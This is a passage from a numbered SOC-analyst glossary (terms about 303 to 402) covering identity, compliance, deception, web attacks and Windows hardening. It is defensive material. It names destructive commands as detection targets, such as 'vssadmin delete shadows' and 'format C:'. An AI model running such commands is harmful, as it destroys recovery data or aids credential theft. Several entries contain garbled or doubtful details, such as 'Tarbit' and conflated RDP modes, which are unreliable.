Explanation: JWT is an open standard (RFC 7519) for transmitting claims between parties as a signed JSON object. SOC analysts detect JWT attacks (none algorithm, weak signature keys, claim tampering) by verifying signature validation logs. A JWT with the `alg: none` header is a high-fidelity indicator of attack. JWTs are used in modern APIs and single-page applications.

304. OAuth Consent Phishing

Explanation: OAuth consent phishing tricks users into granting permissions (scopes) to a malicious third-party application, allowing the attacker to read mail,

access files, or send messages. SOC analysts monitor OAuth grant logs for unusual application names, high-risk scopes (e.g., Mail.Read, Files.ReadWrite.All), and applications registered in untrusted tenants. Revoking malicious OAuth grants is a common IR step.

305. **OAuth App Risk Detection**

Explanation: OAuth application risk detection uses signals such as publisher verification status, low install velocity, or requested scopes to flag malicious apps. SOC analysts review OAuth risk alerts from Microsoft Defender for Cloud Apps or Google Workspace. Unverified publishers requesting high-privilege scopes are treated as suspicious. Automated approval workflows for OAuth apps reduce risk.

306. **IdP (Identity Provider)**

Explanation: IdP is the service that creates, maintains, and authenticates user identities (e.g., Entra ID, Okta, PingFederate). SOC analysts monitor IdP audit logs for changes to trust relationships (federated domains), MFA methods, and administrative roles. Compromised IdP enables attacker to issue valid tokens for any user. IdP logs are the highest-priority log source for identity monitoring.

307. **SP (Service Provider)**

Explanation: A service provider relies on an IdP to authenticate users. Examples include Salesforce, Workday, and custom applications. SOC analysts investigate SP logs (e.g., failed SAML assertions, unusual attribute consumption) for signs of token tampering. SP logs can detect when attackers present manipulated SAML responses. SP-IdP integration misconfigurations cause authentication failures.

308. **SAML Assertion**

Explanation: A SAML assertion is an XML document containing authentication and attribute statements issued by an IdP to an SP. SOC analysts validate SAML assertions by checking signatures, timestamps (NotBefore/NotOnOrAfter), and audience restrictions. Attackers tamper with SAML assertions in transit if signing is not enforced across all trust boundaries. SAML assertion replay is a common cloud persistence technique.

309. **SAML Signature Wrapping**

Explanation: SAML signature wrapping is an attack where an attacker adds a forged signed element while keeping the original signature valid, altering meaning without invalidating the signature. SOC analysts detect wrapping attacks via XML canonicalization validation and limiting which elements are signed. Many SAML libraries have been vulnerable to wrapping. Enforcing strict validation (Exclusive XML Canonicalization 1.0) mitigates.

310. **Federation Trust**

Explanation: Federation trust establishes a relationship between two identity domains, allowing users from one domain (home) to access resources in another (resource). SOC analysts review federation trust changes (e.g., new trusted issuer, signing certificate updates) as high-severity events. Compromised federation trust allows attackers to mint valid tokens for any user in the resource domain. Federation trust logs are often under-monitored.

311. **Identity Governance**

Explanation: Identity governance manages user access lifecycle (join/move/leave), access certifications (reviews), and segregation of duties. SOC analysts use identity governance logs to detect orphaned accounts, excessive privileges, and unauthorized entitlement changes. Governance violations (e.g., finance user with HR role) correlate with insider threat alerts. Access reviews force business owners to certify entitlements.

312. **JML (Join, Move, Leave)**

Explanation: JML is the identity lifecycle process: Join (create account), Move (transfer role/location), Leave (deprovision). SOC analysts monitor JML failures where leaving employees retain access (zombie accounts). Incomplete JML is a common audit finding and attack vector. Automated deprovisioning from HR systems reduces risk.

313. **SOX (Sarbanes-Oxley Act)**

Explanation: SOX is a US law requiring public companies to maintain internal controls over financial reporting, including IT access controls and audit logging.

SOC analysts support SOX compliance by ensuring logging of financial system access, privilege changes, and failed login attempts. SOX violations can lead to personal liability for executives. SOC reports are used in SOX audit evidence.

314. **PCI DSS (Payment Card Industry Data Security Standard)**

Explanation: PCI DSS is a set of security requirements for organizations handling cardholder data (e.g., merchants, processors). SOC analysts follow PCI DSS log review mandates (e.g., daily log review for critical systems). PCI DSS requires FIM and vulnerability scanning quarterly. SOC supporting PCI must retain audit logs for at least one year.

315. **HIPAA (Health Insurance Portability and Accountability Act)**

Explanation: HIPAA mandates protection of protected health information (PHI) by covered entities and business associates. SOC analysts must track accesses to electronic health records (EHRs) and report privacy breaches. HIPAA requires audit logs for PHI access and immediate breach notification (60 days). SOC workflow includes HIPAA-specific playbooks for lost devices containing PHI.

316. **GDPR (General Data Protection Regulation)**

Explanation: GDPR is an EU regulation requiring data protection by design, breach notification within 72 hours, and data subject rights (access, erasure). SOC analysts involved in GDPR incidents ensure timely breach notifications to supervisory authorities. GDPR fines scale to 4% of global revenue. SOC logs must support data subject access requests (DSARs) by identifying all data stored about an individual.

317. **CCPA (California Consumer Privacy Act)**

Explanation: CCPA (and CPRA) grants California residents rights to know, delete, and opt-out of sale of personal information. SOC analysts handle CCPA deletion requests by locating and removing personal data from logs (often challenging because logs are append-only). Many SOC pseudonymize logs (hash user identifiers) to reduce CCPA scope. CCPA private right of action for data breaches increases legal risk.

318. **FISMA (Federal Information Security Modernization Act)**

Explanation: FISMA governs federal agency cybersecurity, requiring risk management, continuous monitoring, and incident reporting. SOC analysts in federal agencies follow FISMA reporting timelines and compliance frameworks (NIST SP 800-53). FISMA metrics include time to detection and reporting completeness. Non-compliance can trigger federal oversight.

319. **NIST Cybersecurity Framework (CSF)**

Explanation: NIST CSF provides a voluntary framework of standards, guidelines, and best practices (Identify, Protect, Detect, Respond, Recover). SOC analysts map their capabilities to CSF tiers (Partial to Adaptive) for maturity assessment. CSF is widely adopted by private sector non-regulated industries. SOC improvement plans are structured around CSF functions.

320. **NIST 800-61**

Explanation: NIST SP 800-61 is the Computer Security Incident Handling Guide, defining the incident response lifecycle (Preparation, Detection & Analysis, Containment & Eradication, Recovery, Post-Incident). SOC analysts follow 800-61 for playbook structure and evidence handling. It recommends metrics, team models (central, distributed, hybrid), and coordination with legal/PR.

321. **SANS PICERL Model**

Explanation: PICERL is a six-phase incident response model: Preparation, Identification, Containment, Eradication, Recovery, Lessons Learned. SOC analysts use PICERL for playbook organization and post-mortems. PICERL adds "Lessons Learned" as a distinct phase, emphasizing continuous improvement. It is the most common IR model taught in SANS courses.

322. **Veris (Vocabulary for Event Recording and Incident Sharing)**

Explanation: Veris is a standardized incident classification schema (e.g., actor, action, asset, attribute). SOC analysts use Veris to structure incident reports for sharing with ISACs. Veris enables cross-organizational incident trend analysis. Many incident management platforms support Veris export.

323. **IoE (Indicators of Exfiltration)**

Explanation: IoE are specific signs of unauthorized data transfer: large outbound data volumes, unusual destination ASNs (e.g., cloud storage providers), off-hour transfers from sensitive servers. SOC analysts build IoE rules into DLP and network flow monitoring. IoE detection requires baselining normal data transfer patterns per department. Exfiltration may be slow (over days) to avoid volume alerts.

324. **Tarbit**

Explanation: A tarbit is a network service that deliberately slows down incoming connections to waste attacker resources (e.g., tarbit on SSH port). SOC analysts deploy tarpits to frustrate scanners and botnets. Tarpits produce logs of delayed connections but do not block attacks. They are more useful for reducing scan effectiveness than protecting critical services.

325. **Honeytoken**

Explanation: A honeytoken is a fake data object (file, database record, API key, email address) that triggers an alert when accessed. SOC analysts plant honeytokens to detect unauthorized access or data theft. A honeytoken in an attacker's possession indicates a breach of that data store. Honeytokens have zero false positives because legitimate users never touch them.

326. **Canary Token**

Explanation: A canary token is a specific honeytoken type that alerts when accessed (e.g., a custom URL, DNS name, or QR code). SOC analysts deploy canary tokens in configuration files, documents, or network shares. When attackers enumerate the token (e.g., curl the URL), the canary server logs the access IP, user agent, and timestamp. Canary tokens are easy to deploy and low-maintenance.

327. **Canary Alert**

Explanation: A canary alert is a high-fidelity, high-urgency notification triggered by a honeytoken or decoy system. SOC analysts treat canary alerts as confirmed malicious activity (since legitimate users should never trigger them). Canary alerts

often indicate attacker reconnaissance after initial access. Response playbooks for canary alerts are immediate containment of the accessing host.

328. **Deception Grid**

Explanation: A deception grid is a distributed set of decoys (honeypots, honeytokens, fake credentials) across network segments, cloud accounts, and endpoint systems. SOC analysts manage deception grids to provide early warning of lateral movement. Deception grid management includes refreshing decoys and analyzing attacker TTPs captured. Commercial platforms (Attivo, Illusive, Cymmetria) automate grids.

329. **Bait File**

Explanation: A bait file (or honey file) is a decoy document (e.g., "passwords.txt", "backup.xlsx") planted on a file server to attract attackers. SOC analysts monitor bait file access via FIM or EDR. Access by non-authorized users indicates attacker presence. Bait file names should be plausible but not interfere with real data (e.g., no legitimate employee would open them).

330. **Fake Credential**

Explanation: Fake credentials are decoy usernames and passwords planted in memory, configuration files, or password managers. When SOC analysts detect login attempts using fake credentials (no legitimate user would know them), the source host is almost certainly compromised. Fake credentials can be SSH keys or API tokens. Credential honeytokens alert before real data is stolen.

331. **Credential Honeytokens**

Explanation: A credential honeytokens is a specific type of fake credential instrumented to alert when used (e.g., SSH key that calls back to alert server upon authentication). SOC analysts deploy credential honeytokens in locations where attackers typically extract credentials (LSASS memory, etc). Credential honeytokens are high-value because they fire only when an attacker has escalated privileges.

332. **RDP Honeypot**

Explanation: An RDP honeypot is a decoy Windows system exposing RDP to

attract brute-force and lateral movement attacks. SOC analysts use RDP honeypots to catch credential brute-forcing and collect attacker keyboard/mouse sessions (legal considerations apply). RDP honeypots can log entire attacker sessions. They are effective for detecting internal scanning.

333. **SSH Honeypot**

Explanation: An SSH honeypot (e.g., Cowrie, Kippo) emulates an SSH server to log brute-force attempts, commands, and file uploads. SOC analysts deploy SSH honeypots in DMZs to capture automated bot activity. Cowrie logs attacker session transcripts, which can be replayed for analysis. SSH honeypots are low-interaction (emulated shell) to reduce risk.

334. **Interactive Honeypot (High-Interaction)**

Explanation: High-interaction honeypots run full operating systems and services, allowing attackers to interact without damaging production. SOC analysts analyze attacker tools, persistence, and TTPs from high-interaction honeypots. High-interaction honeypots require VM isolation, revert-to-clean snapshots, and monitoring to prevent use as attack launchpad. They are resource-intensive but yield rich threat intelligence.

335. **Low-Interaction Honeypot**

Explanation: Low-interaction honeypots simulate services (e.g., fake SMB, HTTP) without a full OS, reducing risk and overhead. SOC analysts deploy low-interaction honeypots at scale (hundreds of IPs) for trend detection. Low-interaction honeypots cannot capture advanced manual attacks but are effective for botnet and scanner detection.

336. **Honeynet**

Explanation: A honeynet is a network of honeypot systems designed to appear as a real production network. SOC analysts use honeynets to study attacker behavior, tools, and lateral movement patterns. Honeynets include realistic decoy data, fake user activity, and network services. Data capture from honeynets is used for threat intelligence and signature development.

337. **Honeywall**

Explanation: A honeywall is a gateway that controls inbound and outbound traffic to/from a honeynet, capturing all activity while preventing the attacker from attacking other networks. SOC analysts configure honeywalls with data capture (full PCAP, NetFlow) and attack mitigation (rate limiting, egress filtering).

Honeywalls are essential for safe high-interaction honeypot deployment.

338. **NAT (Network Address Translation)**

Explanation: NAT translates private IP addresses to public IP addresses (and vice versa). SOC analysts investigate NAT logs to trace attacker activity from a public IP to an internal host. NAT logs are a critical source for incident responders in environments with outbound internet through NAT gateways. Without NAT logs, the internal source of a malicious outbound connection cannot be identified.

339. **Proxy Logs (Forward Proxy)**

Explanation: Forward proxy logs (e.g., Squid, BlueCoat, Zscaler) record all web requests from internal users, including URLs, user agents, and response codes. SOC analysts use proxy logs to investigate malware downloads, C2 traffic, and data exfiltration over HTTP/S. Proxy logs are often the only record of outbound web activity. Modern SWG integrates proxy logging with TLS inspection.

340. **Reverse Proxy Logs**

Explanation: Reverse proxy logs record incoming requests to internal web servers, showing external client IPs, requested URIs, and response status. SOC analysts use reverse proxy logs to identify web attacks (SQLi, XSS) and brute-force attempts against login portals. Reverse proxy logs are ingested to detect scanning and exploit attempts against externally exposed apps.

341. **Load Balancer Logs**

Explanation: Load balancer logs (e.g., AWS ALB, NGINX) record traffic distribution across backend servers, including request source, target, and response time. SOC analysts correlate load balancer logs with application logs to identify request routing anomalies (e.g., only one backend receiving malicious traffic). Load balancer logs also indicate health check failures (potential DoS).

342. **WAF (Web Application Firewall)**

Explanation: WAF filters HTTP/S traffic to block SQL injection, XSS, and other web attacks based on rulesets (e.g., OWASP Core Rule Set). SOC analysts monitor WAF logs for blocked requests and false positives (legitimate users blocked). WAF can operate in detection-only (alert) or prevention (block) mode. Virtual patching via WAF protects unpatched web applications.

343. **WAF False Positive**

Explanation: A WAF false positive blocks a legitimate user request due to overly strict rules (e.g., blocking a request containing "UNION" in a comment field). SOC analysts tune WAF rules by adding allowlist exceptions, changing rule severity, or switching to detection mode. High false positives lead to business complaints and rule weakening. WAF logs show which rule ID triggered.

344. **OWASP Top 10**

Explanation: The OWASP Top 10 is a standard awareness document listing the most critical web application security risks (e.g., Injection, Broken Authentication, Sensitive Data Exposure). SOC analysts use the OWASP Top 10 to prioritize WAF rule sets and vulnerability scanning. Many detection rules and playbooks are organized by OWASP category. OWASP Top 10 updates every 3–4 years.

345. **SQL Injection (SQLi)**

Explanation: SQL injection inserts malicious SQL code into input fields to manipulate database queries. SOC analysts detect SQLi via WAF logs, web server error messages (database syntax errors), or unusual database queries in DB audit logs. SQLi can lead to data exfiltration or database compromise. Parameterized queries are the primary mitigation.

346. **Cross-Site Scripting (XSS)**

Explanation: XSS injects malicious scripts into web pages viewed by other users. SOC analysts detect XSS via WAF logs or by noticing script tags in web server access logs. XSS can be reflected (non-persistent), stored (persistent), or DOM-based. Stored XSS on a login page can capture credentials. XSS detection requires input validation patterns.

347. **Cross-Site Request Forgery (CSRF)**

Explanation: CSRF tricks an authenticated user into performing unwanted actions (e.g., transferring money) on a web application. SOC analysts detect CSRF via missing anti-CSRF tokens in requests or unusual headless browser patterns. CSRF is often invisible to server logs because the request appears legitimate. Anti-CSRF tokens prevent most CSRF attacks.

348. **SSRF (Server-Side Request Forgery)**

Explanation: SSRF abuses a web server to make requests to internal resources (e.g., metadata endpoint, internal APIs). SOC analysts detect SSRF via outbound requests from web servers to unexpected internal IPs (RFC 1918) or cloud metadata IP (169.254.169.254). SSRF is a top cloud exploit for escalating to IAM roles. WAF rules blocking URL schemas (file://, gopher://) help.

349. **XXE (XML External Entity)**

Explanation: XXE attacks exploit XML parsers to read local files, perform SSRF, or cause denial of service. SOC analysts detect XXE via web server logs containing external entity syntax `<!ENTITY` and references to `file://` or `http://`. Many legacy integrations are vulnerable. Disabling external entity processing in XML parsers mitigates.

350. **IDOR (Insecure Direct Object Reference)**

Explanation: IDOR occurs when an application exposes internal object IDs (e.g., `user_id=123`) that an attacker can change to access unauthorized data. SOC analysts detect IDOR via API logs showing pattern of sequential ID requests from same user (automated enumeration). IDOR is often found in cloud storage signed URLs. Parameterized access control (not relying on hidden IDs) prevents.

Part 8/10 – Terms 351 to 400

351. **API Security Monitoring**

Explanation: API security monitoring involves inspecting API requests and responses for attacks like injection, excessive data exposure, or broken object-

level authorization. SOC analysts ingest API gateway logs (AWS API Gateway, Apigee, Kong) and correlate with WAF and identity logs. API abuse often bypasses traditional network detection because it uses HTTPS on standard ports. Rate limiting anomalies (e.g., 1000 requests/sec from one key) indicate bot attacks. SOC analysts need API-specific detection rules beyond generic web logging.

352. **GraphQL Security**

Explanation: GraphQL is an API query language allowing clients to request specific data fields. Attackers exploit GraphQL via deep nested queries (denial of service) or introspection to map the schema. SOC analysts monitor GraphQL query complexity, field depth, and aliasing usage. Batch queries that request thousands of records indicate data scraping. GraphQL-specific WAF rules (e.g., limiting query depth to 5) reduce risk.

353. **REST API Abuse**

Explanation: REST API abuse includes parameter tampering, excessive pagination (dumping all records), and improper HTTP method usage (e.g., PATCH used on read-only field). SOC analysts detect REST abuse by modeling expected API call patterns per user/application. Anomalies include unusual `limit=10000` parameters or sequential ID enumeration. API logs should include request body hashes (not full bodies for privacy) for correlation.

354. **gRPC Security**

Explanation: gRPC is a high-performance RPC framework using protobufs and HTTP/2. SOC analysts struggle to inspect gRPC traffic because common WAFs lack protobuf parsing. gRPC reflection exposes service definitions to authenticated users, aiding attackers. Detection requires specialized proxies (Envoy, gRPC interceptors) that parse protobuf metadata. gRPC is common in microservices environments.

355. **Service Mesh**

Explanation: A service mesh (Istio, Linkerd, Consul) is a dedicated infrastructure layer for service-to-service communication with built-in observability, security (mTLS), and policy enforcement. SOC analysts monitor service mesh telemetry

(e.g., Istio's Mixer telemetry) for unusual inter-service traffic (e.g., payment service calling HR service). Service mesh provides mutual TLS authentication between workloads, reducing credential theft impact. It also enables fine-grained authorization beyond network rules.

356. **mTLS (Mutual TLS)**

Explanation: mTLS authenticates both client and server in a TLS connection using X.509 certificates, preventing unauthorized services from connecting. SOC analysts monitor mTLS failures (certificate expiry, untrusted issuer) as indicators of misconfiguration or attempted bypass. mTLS is standard in zero trust service meshes. SOC logs from mTLS rejections help identify scanners or compromised certificates.

357. **JWT Expiration**

Explanation: JWT expiration is defined by the `exp` claim; expired tokens must be rejected by services. SOC analysts detect attacks using expired JWTs by monitoring access logs for "expired token" errors from multiple IP addresses (token replay attempt). Short-lived JWTs (minutes) reduce session hijacking window. Refreshing tokens via refresh tokens (not re-issuing long-lived JWTs) is best practice.

358. **Refresh Token**

Explanation: Refresh tokens are long-lived credentials used to obtain new short-lived JWTs without re-authentication. Attackers who steal refresh tokens gain persistent access. SOC analysts monitor refresh token usage anomalies (e.g., refresh token used from two different countries within minutes). Refresh token rotation (one-time use) reduces replay impact. Refresh tokens should be stored in secure, httpOnly cookies, not accessible to JavaScript.

359. **OIDC (OpenID Connect) Logs**

Explanation: OIDC logs record authentication events including `id_token` issuance, user claims, and client application ID. SOC analysts use OIDC logs to detect malicious OAuth client applications. Key

fields: `client_id`, `user_id`, `scopes`, `auth_time`. Unusual claims like `email` for an application that only needs `profile` scope indicate over-privilege.

360. **FIDO2 (Fast IDentity Online 2)**

Explanation: FIDO2 is a passwordless authentication standard using public key cryptography and authenticators (hardware keys, biometrics). SOC analysts detect FIDO2 anomalies when hardware keys are registered without physical presence (possible remote compromise) or when suddenly many keys enroll. FIDO2 resists phishing because the key only responds to the authentic site's origin. Security logs show FIDO2 attestation statements.

361. **WebAuthn**

Explanation: WebAuthn is the web API component of FIDO2, enabling browsers to interact with authenticators. SOC analysts monitor WebAuthn registration (`navigator.credentials.create`) and assertion (`navigator.credentials.get`) events via browser instrumentation or proxy logs. Attackers cannot intercept WebAuthn credentials because they are bound to the origin (domain). Adoption of WebAuthn dramatically reduces account takeover risk.

362. **Passkey**

Explanation: A passkey is a credential stored in a device's secure enclave (iCloud Keychain, Google Password Manager, YubiKey), synced across devices, offering passwordless login. SOC analysts treat passkeys as resistant to phishing but must handle recovery (account recovery codes are fallback). Passkey usage logs show authenticator attachment (platform vs cross-platform). Compromise of device's screen lock undermines passkey security.

363. **SCIM (System for Cross-domain Identity Management)**

Explanation: SCIM automates user provisioning and deprovisioning between identity systems (e.g., Entra ID to Salesforce). SOC analysts monitor SCIM logs for bulk user creation or deletion (potential attacker persistence or sabotage). SCIM tokens are high-value secrets; SCIM API logs must include token ID and source IP. Incomplete SCIM integration leads to orphaned accounts.

364. **User Deprovisioning**

Explanation: User deprovisioning is the removal of access rights when an employee leaves the organization. SOC analysts detect deprovisioning failures when terminated employee accounts remain active (zombie accounts) after HR termination date. Zombie accounts are common initial access vectors for lateral movement. SOC playbooks should include daily review of HR exit tickets vs remaining active accounts.

365. **Orphaned Account**

Explanation: An orphaned account is a user account whose owner no longer works for the organization (or service account without an owner). SOC analysts prioritize orphaned account remediation because no one monitors their activity. Orphaned service accounts with high privileges are critical risks. Automated recertification (quarterly owner attestation) prevents orphaned accounts.

366. **Service Account**

Explanation: A service account is a non-human account used by applications, services, or scripts to authenticate to systems. SOC analysts detect service account abuse by monitoring for interactive logins (type 10) or local console access. Service accounts should have constrained delegations, long complex passwords, and managed service accounts (MSAs) where possible. Service account compromise is often stealthy.

367. **gMSA (Group Managed Service Account)**

Explanation: gMSA is a Windows managed service account for multiple servers, with automatic password rotation managed by Active Directory. SOC analysts prefer gMSA over traditional service accounts because passwords are 240-byte random and changed every 30 days. gMSA usage events include Event ID 4624 with account name ending in \$. Attackers cannot pass-the-hash from a gMSA.

368. **Passwordless Authentication**

Explanation: Passwordless authentication eliminates shared secrets (passwords) in favor of biometrics, hardware tokens, or magic links. SOC analysts adjust detection for passwordless environments because "failed password" alerts

disappear; focus shifts to biometric token enrollment events and authenticator binding. Passwordless greatly reduces credential reuse and phishing but introduces new recovery risks.

369. **Privileged Access Management (PAM)**

Explanation: PAM solutions (CyberArk, BeyondTrust, Delinea) manage, monitor, and rotate privileged credentials (local admin, domain admin, root). SOC analysts integrate PAM logs to detect checkouts of privileged accounts, credential usage, and session recording access. Anomalous PAM activity (e.g., sudden checkout of many admin accounts) indicates lateral movement. PAM shows which user accessed which admin account.

370. **Just-in-Time (JIT) Access**

Explanation: JIT access grants privileged roles only for a specific duration (e.g., 2 hours) upon request and approval. SOC analysts monitor JIT requests for approval bypass, unusual time requests (2 AM), or requesters outside normal schedule. JIT reduces standing privileges and limits blast radius. JIT logs are essential for compliance audits.

371. **Privileged Session Management (PSM)**

Explanation: PSM records and isolates privileged sessions (RDP, SSH) through a proxy, allowing SOC analysts to replay sessions for forensic review. PSM can block dangerous commands (e.g., `format C:`) in real time. SOC analysts analyzing incidents use PSM recordings to determine exactly what an attacker did after gaining privileged access. PSM bypass attempts (e.g., direct RDP to server) should alert.

372. **Secret Scanning**

Explanation: Secret scanning is the automated detection of exposed credentials (API keys, passwords, tokens) in code repositories, wikis, or logs. SOC analysts respond to secret scanning alerts by rotating the exposed secret and removing it from the repository. Attackers monitor public GitHub for accidentally committed secrets. Secret scanning in pre-commit hooks prevents exposure at source.

373. **Credential Leak Detection**

Explanation: Credential leak detection monitors dark web, paste sites, and breach databases for exposed company credentials. SOC analysts receive alerts when employee credentials appear in breaches (via services like HaveIBeenPwned Enterprise). Leaked credential detection triggers mandatory password resets and MFA enrollment. Leaked credentials in use are a high-confidence compromise indicator.

374. **Password Reuse Detection**

Explanation: Password reuse detection identifies users who use the same password across corporate and external breached services. SOC analysts use this to prioritize user re-education and forced password changes. Attackers perform credential stuffing using breached passwords. Detection is privacy-sensitive; hashed comparisons (k-anonymity) avoid seeing plaintext passwords.

375. **MFA Enrollment**

Explanation: MFA enrollment is the process of registering a user's MFA methods (TOTP, push notification, hardware token). SOC analysts monitor enrollment events for anomalies: new method enrollment from an unusual IP, bulk enrollments, or enrollment by a new admin. Attackers who compromise accounts often enroll their own MFA device to maintain access after password change. Enrollment logs are often under-monitored.

376. **MFA Method Change**

Explanation: MFA method change occurs when a user registers a new authenticator, removes an old one, or resets MFA. SOC analysts treat MFA method changes as high-risk events requiring additional verification (e.g., manager approval, temporary block). Attackers who compromise a user's email may initiate MFA reset to take over MFA-protected accounts. Identity logs show MFA method type (e.g., "PhoneAppNotification" vs "TOTP").

377. **Directory Services Restore Mode (DSRM)**

Explanation: DSRM is a Windows safe mode boot option for Active Directory domain controllers with a separate administrator password. Attackers who

compromise DSRM password can persist even if domain admin passwords change. SOC analysts monitor DSRM usage via Event ID 4794 (DSRM password change) and enforce custom DSRM password rotation. DSRM is often overlooked in monitoring.

378. **NTDS.dit**

Explanation: NTDS.dit is the Active Directory database file containing all domain user and computer objects, including password hashes. Attackers copy NTDS.dit to extract all domain credentials (offline cracking). SOC analysts detect NTDS.dit access via file access logs (Event ID 4663) or volume shadow copy creation (vssadmin). Volume shadow copy of NTDS.dit is a common attack step before exfiltration.

379. **Volume Shadow Copy (VSS)**

Explanation: VSS is a Windows service that creates point-in-time snapshots of volumes, often abused by attackers to copy locked files (e.g., NTDS.dit, registry hives). SOC analysts detect VSS abuse via process creation events for `vssadmin.exe`, `wmic.exe shadowcopy`, or `powershell.exe` with VSS-related cmdlets. Deleting VSS snapshots is a ransomware technique to block recovery.

380. **VSSAdmin**

Explanation: VSSAdmin is a command-line tool for managing volume shadow copies. SOC analysts monitor VSSAdmin usage (e.g., `vssadmin create shadow`, `vssadmin delete shadows`) to detect ransomware prep or credential theft. Ransomware also runs `vssadmin delete shadows` to prevent system restore. Legitimate backup software also uses VSSAdmin, requiring context (parent process, user account).

381. **Sysprep**

Explanation: Sysprep (System Preparation Tool) generalizes a Windows installation for imaging. Attackers may run sysprep to remove unique identifiers, evading host-based detections after lateral movement. SOC analysts treat execution of sysprep on non-imaging servers as suspicious. Sysprep execution requires administrator privileges, so its occurrence indicates privilege escalation.

382. **PowerShell Constrained Language Mode**

Explanation: Constrained Language Mode restricts PowerShell to a subset of commands, blocking many malicious scripts and reflection techniques. SOC analysts enable Constrained Language Mode via Device Guard (WDAC) to prevent script-based attacks. Attackers attempt to bypass Constrained Language Mode via downgrade attacks or process injection. Event ID 400 logs constraint violations.

383. **PowerShell Logging Levels (Module, Script Block, Transcription)**

Explanation: PowerShell has three major logging levels: Module (logs pipeline execution), Script Block (logs code content, including deobfuscated), and Transcription (logs entire session to file). SOC analysts enable all three for visibility, noting that script block logging captures obfuscated code after deobfuscation. Transcription is most storage-heavy but invaluable for incident analysis.

384. **Constrained Admin Mode (CredSSP)**

Explanation: Constrained Admin Mode is an RDP setting that prevents credentials from being saved on remote hosts, reducing pass-the-hash risk. SOC analysts recommend Constrained Admin Mode for jump servers. Event logs show RDP logins with restricted admin mode flag. Attackers cannot extract credentials from a remote host using restricted admin mode.

385. **Credential Guard**

Explanation: Credential Guard is a Windows feature that virtualizes LSASS (Local Security Authority Subsystem Service) to protect against credential dumping (Mimikatz). SOC analysts verify Credential Guard via `SystemInfo` or registry. Credential Guard blocks read access to `lsass.exe` process memory from non-Trusted Computing Base code. Bypasses exist but are complex.

386. **Device Guard**

Explanation: Device Guard (now WDAC – Windows Defender Application Control) enforces code integrity policies (allowlist) and includes hypervisor-protected code integrity (HVCI). SOC analysts deploy Device Guard to prevent execution of

unsigned drivers and malware. Device Guard policy violations generate Event ID 3076 (code integrity). Hard to maintain in dynamic environments.

387. **HVCI (Hypervisor-Protected Code Integrity)**

Explanation: HVCI runs code integrity checks in a secure hypervisor-isolated environment, protecting kernel from unsigned driver loading. SOC analysts enable HVCI on high-security systems (domain controllers, jump boxes). HVCI prevents many kernel rootkits. Performance overhead is significant on older CPUs. HVCI status is visible in Device Security under Windows Security.

388. **Memory Integrity (Core Isolation)**

Explanation: Memory Integrity (part of Core Isolation in Windows) is the user-friendly name for HVCI. SOC analysts ensure Memory Integrity is enabled on Windows 10/11 systems handling sensitive data. Memory Integrity blocks executable memory modification in kernel. Disabling Memory Integrity for performance reasons creates a detection gap.

389. **Virtualization-Based Security (VBS)**

Explanation: VBS uses hardware virtualization features to isolate security services (Credential Guard, HVCI) from the main OS. SOC analysts require VBS for advanced Windows security features. VBS is enabled via Group Policy or manually; some hardware (CPU, BIOS) may lack required features (VT-x, SLAT). VBS bypasses are rare and expensive.

390. **Secure Kernel**

Explanation: Secure kernel runs at a higher privilege level than the normal OS kernel when VBS is enabled, protecting critical security services. SOC analysts cannot easily monitor secure kernel directly, but secure kernel failure events (Event ID 1, 2) indicate compromise of VBS isolation. Secure kernel-based detections are available through security event logs.

391. **UEFI (Unified Extensible Firmware Interface)**

Explanation: UEFI replaces legacy BIOS and includes security features like Secure Boot and measured boot. SOC analysts verify UEFI firmware versions for known vulnerabilities (e.g., LogoFAIL) and ensure Secure Boot is not disabled. Firmware-

level implants are invisible to OS-level EDR. Detecting UEFI implants requires hardware attestation (e.g., Intel Boot Guard).

392. **Measured Boot**

Explanation: Measured boot logs every component loaded during boot into TPM Platform Configuration Registers (PCRs), enabling remote attestation. SOC analysts use measured boot logs to detect UEFI bootkits (PCR mismatch).

Windows records measured boot events in Event IDs 1040–1044. Measured boot requires a TPM and UEFI.

393. **Remote Attestation**

Explanation: Remote attestation is a process where a system proves its integrity (e.g., measured boot PCRs) to a verifier (e.g., SOC, zero trust proxy). SOC analysts integrate attestation failures into incident response: a server failing attestation may be compromised. Attestation services (Azure Attestation, AWS Nitro Enclaves) provide evidence that a system is in a known good state.

394. **Intel TXT (Trusted Execution Technology)**

Explanation: Intel TXT provides dynamic root of trust measurement (DRTM) for launching a measured environment after boot, protecting against some UEFI attacks. SOC analysts rely on TXT for high-assurance attestation. TXT uses TPM and SINIT authenticated code modules. Specific hardware required.

395. **AMD SEV (Secure Encrypted Virtualization)**

Explanation: AMD SEV encrypts entire guest virtual machine memory, protecting against hypervisor-level memory inspection. SOC analysts using SEV cannot perform traditional in-VM agent memory forensics; trust shifts to guest-level EDR. SEV is used in confidential computing environments (e.g., Google Cloud Confidential VMs). SEV attestation reports verify VM security.

396. **Confidential Computing**

Explanation: Confidential computing protects data in use by executing in hardware-based TEE (Trusted Execution Environment). SOC analysts monitoring confidential computing environments have reduced visibility (no hypervisor

memory access). Forensic acquisition requires attestation-based evidence. Hardware TEEs (Intel SGX, AMD SEV, AWS Nitro) shift trust boundaries.

397. **Intel SGX (Software Guard Extensions)**

Explanation: Intel SGX creates hardware-protected enclaves, isolating code and data even from the OS. SOC analysts cannot monitor enclaves using traditional EDR; they rely on enclave attestation (quote verification) and evidence from enclave logging. SGX is vulnerable to side-channel attacks (L1TF, Foreshadow). Attestation failures indicate tampering.

398. **Enclave**

Explanation: An enclave is a protected execution area within a TEE (Trusted Execution Environment), inaccessible to the rest of the system. SOC analysts investigating enclave-based compromises require enclave-provided logs (verifiable via attestation). Enclaves prevent blue team from memory forensics; they shift responsibility to enclave developers for detection logging.

399. **TEE (Trusted Execution Environment)**

Explanation: TEE is a secure area of a processor that ensures code and data integrity and confidentiality. SOC analysts in cloud environments must understand TEE capabilities for compliance (e.g., processing sensitive data). TEEs do not eliminate SOC responsibility—they reduce but do not remove the need for monitoring. TEE events originate from hardware attestation, not OS logs.

400. **eBPF (Extended Berkeley Packet Filter)**

Explanation: eBPF allows running sandboxed programs in the Linux kernel without changing kernel source or loading modules. SOC analysts use eBPF for high-performance monitoring (network observability, security hooks). eBPF-based tools (Falco, Cilium, Tetragon) provide deep visibility into syscalls, file access, and network packets. eBPF can detect Linux runtime attacks (e.g., container breakout) with low overhead.

Part 9/10 – Terms 401 to 450

401. **Falco**

Explanation: Falco is an open-source cloud-native runtime security tool that uses eBPF to monitor Linux system calls and Kubernetes audit logs. SOC analysts deploy Falco to detect anomalous behaviors such as shell execution in containers, privilege escalation, or unexpected mounts. Falco rules are written in YAML and can trigger alerts to SIEM or SOAR. It is a CNCF incubation project and widely used in containerized environments.

402. **Tetragon**

